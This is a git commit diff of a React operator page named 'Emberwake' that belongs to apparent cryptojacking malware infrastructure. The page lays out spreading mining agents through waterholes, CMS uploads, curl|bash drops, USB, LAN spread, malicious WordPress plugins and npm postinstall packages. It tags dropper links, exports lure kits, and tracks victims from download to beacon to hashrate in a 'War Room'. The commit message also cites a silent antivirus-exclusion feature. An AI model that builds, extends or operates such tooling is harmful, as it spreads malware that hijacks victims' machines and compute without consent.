Release validation: tests green, USB pack, fleet UX and API hardening.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Fix macOS agent cross-compile (SilentAVExclusion) and Calibrate E2E nav selector; expand tests and docs; refresh portable usb binary and spread/wiki assets.
This commit is contained in:
@@ -1,13 +1,9 @@
|
||||
import { useCallback, useEffect, useMemo, useRef, useState } from 'react';
|
||||
import { Link } from 'react-router-dom';
|
||||
import { useVisibleInterval } from '../hooks/usePageVisible';
|
||||
import { api } from '../api/client';
|
||||
import type { BuildRecord, EmberwakeNotes, PublicBuildDTO, WarRoomResponse } from '../types';
|
||||
import {
|
||||
combinedDropperQuery,
|
||||
commandOneliner,
|
||||
ps1Oneliner,
|
||||
publicDownloadUrl,
|
||||
shOneliner,
|
||||
} from '../help/emberwake';
|
||||
import { publicDownloadUrl } from '../help/emberwake';
|
||||
import {
|
||||
EMBERWAKE_TECHNIQUE_LINKS,
|
||||
SPREAD_TECHNIQUES_DOC,
|
||||
@@ -22,6 +18,7 @@ import { usePresence } from '../context/PresenceContext';
|
||||
import AlsoHere from '../components/Presence/AlsoHere';
|
||||
import ComradeAvatar from '../components/Presence/ComradeAvatar';
|
||||
import SupplyChainExportWizard from '../components/Emberwake/SupplyChainExportWizard';
|
||||
import { HelpTip } from '../components/HelpTip';
|
||||
import './Pages.css';
|
||||
import './EmberwakePage.css';
|
||||
import '../components/Presence/Presence.css';
|
||||
@@ -29,10 +26,10 @@ import '../components/Presence/Presence.css';
|
||||
function CopyChip({ text, label }: { text: string; label: string }) {
|
||||
const [ok, setOk] = useState(false);
|
||||
const copy = () => {
|
||||
void navigator.clipboard.writeText(text).then(() => {
|
||||
void navigator.clipboard?.writeText(text).then(() => {
|
||||
setOk(true);
|
||||
setTimeout(() => setOk(false), 1500);
|
||||
});
|
||||
}).catch(() => {});
|
||||
};
|
||||
return (
|
||||
<button type="button" className="btn btn-outline btn-sm" onClick={copy}>
|
||||
@@ -68,13 +65,15 @@ export default function EmberwakePage() {
|
||||
const typingActiveRef = useRef(false);
|
||||
|
||||
const pinned = useMemo(() => builds.filter((b) => b.pinned), [builds]);
|
||||
const query = useMemo(() => combinedDropperQuery(pinA || pinned[0]?.id || '', campaign), [pinA, pinned, campaign]);
|
||||
const queryB = useMemo(() => combinedDropperQuery(pinB, campaign + '-b'), [pinB, campaign]);
|
||||
|
||||
const loadWarRoom = useCallback(async () => {
|
||||
const data = await api.getWarRoom(WAR_ROOM_DAYS);
|
||||
setWarRoom(data);
|
||||
setWarRoomUpdated(data.generated_at);
|
||||
try {
|
||||
const data = await api.getWarRoom(WAR_ROOM_DAYS);
|
||||
setWarRoom(data);
|
||||
setWarRoomUpdated(data.generated_at);
|
||||
} catch {
|
||||
/* war room is non-critical; silently retain previous data */
|
||||
}
|
||||
}, []);
|
||||
|
||||
const load = useCallback(async () => {
|
||||
@@ -106,12 +105,9 @@ export default function EmberwakePage() {
|
||||
void load().catch(() => {});
|
||||
}, [load]);
|
||||
|
||||
useEffect(() => {
|
||||
const id = window.setInterval(() => {
|
||||
void loadWarRoom().catch(() => {});
|
||||
}, WAR_ROOM_POLL_MS);
|
||||
return () => window.clearInterval(id);
|
||||
}, [loadWarRoom]);
|
||||
useVisibleInterval(() => {
|
||||
void loadWarRoom().catch(() => {});
|
||||
}, WAR_ROOM_POLL_MS);
|
||||
|
||||
useEffect(() => {
|
||||
if (!latestMessage) return;
|
||||
@@ -203,138 +199,118 @@ export default function EmberwakePage() {
|
||||
<div className="page emberwake-page operator-deck-page">
|
||||
<header className="deck-hero">
|
||||
<div className="deck-hero-text">
|
||||
<p className="deck-eyebrow font-tech">SPREAD · WATERHOLE · KINDLING</p>
|
||||
<h1>Emberwake</h1>
|
||||
<p className="deck-eyebrow font-tech">SPREAD OPERATIONS</p>
|
||||
<h1>
|
||||
Emberwake <HelpTip field="ew_overview" />
|
||||
</h1>
|
||||
<p className="page-subtitle">
|
||||
Carry embers from the forge — web waterholes, CMS uploads, curl|bash VPS drops, fusion media, USB, and LAN spread.
|
||||
Tag install links, export lure kits, and track which campaigns convert — all from one desk.
|
||||
</p>
|
||||
<p className="emberwake-hero-links form-hint">
|
||||
<a href={SPREAD_TECHNIQUES_DOC} target="_blank" rel="noreferrer">
|
||||
Spread techniques playbook
|
||||
</a>
|
||||
{' · '}
|
||||
<a href="/spread/">On-server spread lander</a>
|
||||
</p>
|
||||
</div>
|
||||
</header>
|
||||
|
||||
<AlsoHere page="/emberwake" />
|
||||
|
||||
<div className="spread-section spread-section--ember operator-deck-card operator-interactive">
|
||||
<h3>How to spread</h3>
|
||||
<p className="form-hint" style={{ marginTop: 0 }}>
|
||||
Operator instructions (no login):{' '}
|
||||
<a href="/spread/">Spread kit landing</a>
|
||||
{' · '}
|
||||
Full threat-intel matrix:{' '}
|
||||
<a href={SPREAD_TECHNIQUES_DOC} target="_blank" rel="noreferrer">
|
||||
SPREAD_TECHNIQUES.md
|
||||
</a>
|
||||
<section
|
||||
className="spread-section spread-section--ember operator-deck-card operator-interactive emberwake-primary-block"
|
||||
aria-labelledby="ew-setup-heading"
|
||||
>
|
||||
<h2 id="ew-setup-heading" className="emberwake-section-title">
|
||||
Campaign setup <HelpTip field="ew_campaign_setup" />
|
||||
</h2>
|
||||
<p className="emberwake-section-desc">
|
||||
Set once — every link and export below uses these values.
|
||||
</p>
|
||||
<ul className="emberwake-technique-list">
|
||||
{EMBERWAKE_TECHNIQUE_LINKS.map((t) => (
|
||||
<li key={t.label}>
|
||||
<strong>{t.label}</strong> — {t.hint}{' '}
|
||||
<a href={spreadTechniqueDocUrl(t.anchor)} target="_blank" rel="noreferrer">
|
||||
playbook §
|
||||
</a>
|
||||
</li>
|
||||
))}
|
||||
</ul>
|
||||
</div>
|
||||
<div className="emberwake-setup-grid">
|
||||
<div className="form-group">
|
||||
<label className="label" htmlFor="ew-campaign">
|
||||
Campaign slug (?c=) <HelpTip field="ew_campaign_slug" />
|
||||
</label>
|
||||
<input id="ew-campaign" className="input mono" value={campaign} onChange={(e) => setCampaign(e.target.value)} />
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<label className="label" htmlFor="ew-server">Command deck URL</label>
|
||||
<input
|
||||
id="ew-server"
|
||||
className="input mono"
|
||||
value={serverBase}
|
||||
onChange={(e) => setServerBase(e.target.value)}
|
||||
/>
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<label className="label" htmlFor="ew-pin-a">Build A (pin)</label>
|
||||
<select id="ew-pin-a" className="input" value={pinA} onChange={(e) => setPinA(e.target.value)}>
|
||||
<option value="">Latest / pinned</option>
|
||||
{builds.map((b) => (
|
||||
<option key={b.id} value={b.id}>{b.worker_name} · {b.platform} {b.pinned ? '📌' : ''}</option>
|
||||
))}
|
||||
</select>
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<label className="label" htmlFor="ew-pin-b">Build B (A/B test)</label>
|
||||
<select id="ew-pin-b" className="input" value={pinB} onChange={(e) => setPinB(e.target.value)}>
|
||||
<option value="">—</option>
|
||||
{builds.map((b) => (
|
||||
<option key={b.id} value={b.id}>{b.worker_name} · {b.platform}</option>
|
||||
))}
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div className="card operator-deck-card operator-interactive" style={{ marginBottom: '1rem' }}>
|
||||
<h2>Campaign builder</h2>
|
||||
<div className="form-group">
|
||||
<label className="label" htmlFor="ew-campaign">Campaign slug (?c=)</label>
|
||||
<input id="ew-campaign" className="input mono" value={campaign} onChange={(e) => setCampaign(e.target.value)} />
|
||||
</div>
|
||||
<div className="emberwake-ab-row" style={{ marginBottom: '0.75rem' }}>
|
||||
<label className="label">Build A (pin)</label>
|
||||
<select className="input" value={pinA} onChange={(e) => setPinA(e.target.value)}>
|
||||
<option value="">Latest / pinned</option>
|
||||
{builds.map((b) => (
|
||||
<option key={b.id} value={b.id}>{b.worker_name} · {b.platform} {b.pinned ? '📌' : ''}</option>
|
||||
))}
|
||||
</select>
|
||||
<label className="label">Build B (A/B)</label>
|
||||
<select className="input" value={pinB} onChange={(e) => setPinB(e.target.value)}>
|
||||
<option value="">—</option>
|
||||
{builds.map((b) => (
|
||||
<option key={b.id} value={b.id}>{b.worker_name} · {b.platform}</option>
|
||||
))}
|
||||
</select>
|
||||
</div>
|
||||
<div className="emberwake-tool-grid">
|
||||
<div>
|
||||
<p className="form-hint">PowerShell</p>
|
||||
<code className="mono" style={{ fontSize: '0.75rem', wordBreak: 'break-all' }}>{ps1Oneliner(serverBase, query)}</code>
|
||||
<CopyChip text={ps1Oneliner(serverBase, query)} label="Copy PS1" />
|
||||
</div>
|
||||
<div>
|
||||
<p className="form-hint">bash</p>
|
||||
<code className="mono" style={{ fontSize: '0.75rem', wordBreak: 'break-all' }}>{shOneliner(serverBase, query)}</code>
|
||||
<CopyChip text={shOneliner(serverBase, query)} label="Copy sh" />
|
||||
</div>
|
||||
<div>
|
||||
<p className="form-hint">macOS</p>
|
||||
<code className="mono" style={{ fontSize: '0.75rem', wordBreak: 'break-all' }}>{commandOneliner(serverBase, query)}</code>
|
||||
<CopyChip text={commandOneliner(serverBase, query)} label="Copy .command" />
|
||||
</div>
|
||||
</div>
|
||||
{pinB && (
|
||||
<p className="form-hint" style={{ marginTop: '0.75rem' }}>
|
||||
A/B link B: <code>{serverBase}/get{queryB}</code>
|
||||
<CopyChip text={`${serverBase}/get${queryB}`} label="Copy B" />
|
||||
<div className="emberwake-subsection">
|
||||
<h3 className="emberwake-subsection-title">
|
||||
Install commands <HelpTip field="ew_install_links" />
|
||||
</h3>
|
||||
<p className="emberwake-section-desc">
|
||||
Per-platform one-liners (PowerShell, bash, macOS) are in Builds — pin a build there before sharing links.
|
||||
</p>
|
||||
)}
|
||||
</div>
|
||||
<Link to="/builds" className="btn btn-outline">
|
||||
View install commands in Builds →
|
||||
</Link>
|
||||
</div>
|
||||
|
||||
<div className="spread-section spread-section--cyan operator-deck-card operator-interactive">
|
||||
<h3>Spread kit export</h3>
|
||||
<p className="form-hint">
|
||||
Zips customized <code>spread-kit-web-publisher/</code> templates for your server URL + campaign.
|
||||
{' '}
|
||||
<a href="/spread/">View on-server instructions</a> at <code>/spread/</code> (synced from repo templates).
|
||||
</p>
|
||||
<div className="emberwake-ab-row">
|
||||
<input className="input mono" style={{ flex: 1 }} value={serverBase} onChange={(e) => setServerBase(e.target.value)} />
|
||||
<button type="button" className="btn btn-primary" disabled={exportBusy || !serverBase} onClick={() => void exportKit()}>
|
||||
<div className="emberwake-subsection emberwake-subsection--inline">
|
||||
<div>
|
||||
<h3 className="emberwake-subsection-title">
|
||||
Download spread kit <HelpTip field="ew_spread_kit" />
|
||||
</h3>
|
||||
<p className="emberwake-section-desc">
|
||||
ZIP templates for USB, LAN, or web landers — includes <code>/spread/</code> assets.
|
||||
</p>
|
||||
</div>
|
||||
<button
|
||||
type="button"
|
||||
className="btn btn-primary"
|
||||
disabled={exportBusy || !serverBase}
|
||||
onClick={() => void exportKit()}
|
||||
>
|
||||
{exportBusy ? 'Zipping…' : 'Export spread kit ZIP'}
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<SupplyChainExportWizard
|
||||
builds={builds}
|
||||
serverBase={serverBase}
|
||||
onServerBaseChange={setServerBase}
|
||||
pinA={pinA}
|
||||
onPinAChange={setPinA}
|
||||
campaign={campaign}
|
||||
onCampaignChange={setCampaign}
|
||||
siteName={siteName}
|
||||
onSiteNameChange={setSiteName}
|
||||
/>
|
||||
|
||||
<div className="spread-section spread-section--gold operator-deck-card operator-interactive">
|
||||
<h3>Public build URLs</h3>
|
||||
<p className="form-hint">Authenticated deck sees all builds; login page lists pinned + public + latest 3 (or all if Calibrate → public builds enabled).</p>
|
||||
<ul style={{ margin: 0, padding: 0, listStyle: 'none' }}>
|
||||
{(publicBuilds.length ? publicBuilds : builds.slice(0, 5)).map((b) => (
|
||||
<li key={b.id} style={{ marginBottom: '0.5rem', fontSize: '0.85rem' }}>
|
||||
<strong>{b.worker_name}</strong> ({b.platform})
|
||||
{' — '}
|
||||
<a href={publicDownloadUrl(serverBase, b.id, campaign)} target="_blank" rel="noreferrer">
|
||||
public download
|
||||
</a>
|
||||
<CopyChip text={publicDownloadUrl(serverBase, b.id, campaign)} label="Copy" />
|
||||
</li>
|
||||
))}
|
||||
</ul>
|
||||
</div>
|
||||
|
||||
<div
|
||||
<section
|
||||
id="campaign-war-room"
|
||||
className="spread-section spread-section--war-room operator-deck-card operator-interactive"
|
||||
aria-labelledby="ew-war-room-heading"
|
||||
>
|
||||
<h3>Campaign War Room</h3>
|
||||
<h2 id="ew-war-room-heading" className="emberwake-section-title">
|
||||
Campaign War Room <HelpTip field="ew_war_room" />
|
||||
</h2>
|
||||
<p className="emberwake-section-desc">
|
||||
Track hits → downloads → beacons → miners per <code>?c=</code> slug (last {WAR_ROOM_DAYS} days).
|
||||
</p>
|
||||
<div className="war-room-toolbar">
|
||||
<span>
|
||||
Live funnel — hits → downloads → first beacon → mining → hashrate per <code>?c=</code> slug (last {WAR_ROOM_DAYS}d)
|
||||
<span className="war-room-toolbar-meta">
|
||||
{warRoomUpdated ? `Updated ${new Date(warRoomUpdated).toLocaleTimeString()}` : 'Loading…'}
|
||||
{' · '}poll {WAR_ROOM_POLL_MS / 1000}s
|
||||
</span>
|
||||
<div className="war-room-toolbar-right">
|
||||
<div className="war-room-view-toggle" role="group" aria-label="War room view">
|
||||
@@ -360,10 +336,7 @@ export default function EmberwakePage() {
|
||||
Constellations
|
||||
</button>
|
||||
</div>
|
||||
<span>
|
||||
{warRoomUpdated ? `Updated ${new Date(warRoomUpdated).toLocaleTimeString()}` : 'Loading…'}
|
||||
{' · '}poll {WAR_ROOM_POLL_MS / 1000}s · WS 30s
|
||||
</span>
|
||||
<span className="war-room-toolbar-meta">WebSocket push ~30s</span>
|
||||
</div>
|
||||
</div>
|
||||
{warRoom && warRoom.campaigns.length > 0 ? (
|
||||
@@ -490,11 +463,88 @@ export default function EmberwakePage() {
|
||||
No campaign activity in the last {WAR_ROOM_DAYS} days. Share dropper links with <code>?c=your-slug</code> to populate the funnel.
|
||||
</p>
|
||||
)}
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<div className="card operator-deck-card operator-interactive">
|
||||
<h2>Shared notes</h2>
|
||||
<p className="form-hint">Synced live to every logged-in operator{notesMeta ? ` — last edit: ${notesMeta}` : ''}.</p>
|
||||
<details className="emberwake-advanced spread-section spread-section--violet operator-deck-card operator-interactive">
|
||||
<summary className="emberwake-advanced-summary">
|
||||
<span className="emberwake-section-title">
|
||||
Supply-chain exports <HelpTip field="ew_supply_chain" />
|
||||
</span>
|
||||
<span className="emberwake-section-desc emberwake-advanced-tag">Advanced</span>
|
||||
</summary>
|
||||
<p className="emberwake-section-desc">
|
||||
WordPress plugin or npm postinstall ZIP — uses campaign setup above.
|
||||
</p>
|
||||
<SupplyChainExportWizard
|
||||
builds={builds}
|
||||
serverBase={serverBase}
|
||||
onServerBaseChange={setServerBase}
|
||||
pinA={pinA}
|
||||
onPinAChange={setPinA}
|
||||
campaign={campaign}
|
||||
onCampaignChange={setCampaign}
|
||||
siteName={siteName}
|
||||
onSiteNameChange={setSiteName}
|
||||
/>
|
||||
</details>
|
||||
|
||||
<details className="emberwake-advanced spread-section spread-section--gold operator-deck-card operator-interactive">
|
||||
<summary className="emberwake-advanced-summary">
|
||||
<span className="emberwake-section-title">
|
||||
Public download links <HelpTip field="ew_public_urls" />
|
||||
</span>
|
||||
</summary>
|
||||
<p className="emberwake-section-desc">
|
||||
Direct download URLs per build — also listed on the login page when marked public.
|
||||
</p>
|
||||
<ul className="emberwake-public-list">
|
||||
{(publicBuilds.length ? publicBuilds : builds.slice(0, 5)).map((b) => (
|
||||
<li key={b.id}>
|
||||
<strong>{b.worker_name}</strong> ({b.platform})
|
||||
{' — '}
|
||||
<a href={publicDownloadUrl(serverBase, b.id, campaign)} target="_blank" rel="noreferrer">
|
||||
public download
|
||||
</a>
|
||||
<CopyChip text={publicDownloadUrl(serverBase, b.id, campaign)} label="Copy" />
|
||||
</li>
|
||||
))}
|
||||
</ul>
|
||||
</details>
|
||||
|
||||
<section
|
||||
className="spread-section spread-section--ember operator-deck-card operator-interactive emberwake-techniques-block"
|
||||
aria-labelledby="ew-techniques-heading"
|
||||
>
|
||||
<h2 id="ew-techniques-heading" className="emberwake-section-title">
|
||||
How to spread <HelpTip field="ew_techniques" />
|
||||
</h2>
|
||||
<p className="emberwake-section-desc">
|
||||
Pick a vector — step-by-step instructions live in the{' '}
|
||||
<a href={SPREAD_TECHNIQUES_DOC} target="_blank" rel="noreferrer">
|
||||
Spread techniques playbook
|
||||
</a>
|
||||
.
|
||||
</p>
|
||||
<ul className="emberwake-technique-list">
|
||||
{EMBERWAKE_TECHNIQUE_LINKS.map((t) => (
|
||||
<li key={t.anchor}>
|
||||
<a href={spreadTechniqueDocUrl(t.anchor)} target="_blank" rel="noreferrer">
|
||||
{t.label}
|
||||
</a>
|
||||
{' — '}
|
||||
{t.hint}
|
||||
</li>
|
||||
))}
|
||||
</ul>
|
||||
</section>
|
||||
|
||||
<section className="card operator-deck-card operator-interactive" aria-labelledby="ew-notes-heading">
|
||||
<h2 id="ew-notes-heading" className="emberwake-section-title">
|
||||
Team notes <HelpTip field="ew_shared_notes" />
|
||||
</h2>
|
||||
<p className="emberwake-section-desc">
|
||||
Shared scratchpad for lure copy and rotation{notesMeta ? ` — last edit: ${notesMeta}` : ''}.
|
||||
</p>
|
||||
{notesTyping?.active && (
|
||||
<div className="emberwake-typing-banner" role="status">
|
||||
<ComradeAvatar user={notesTyping.user} size="sm" title={`${notesTyping.user} is editing notes`} />
|
||||
@@ -520,7 +570,7 @@ export default function EmberwakePage() {
|
||||
<button type="button" className="btn btn-primary" style={{ marginTop: '0.5rem' }} disabled={notesBusy} onClick={() => void saveNotes()}>
|
||||
{notesBusy ? 'Saving…' : 'Save notes'}
|
||||
</button>
|
||||
</div>
|
||||
</section>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user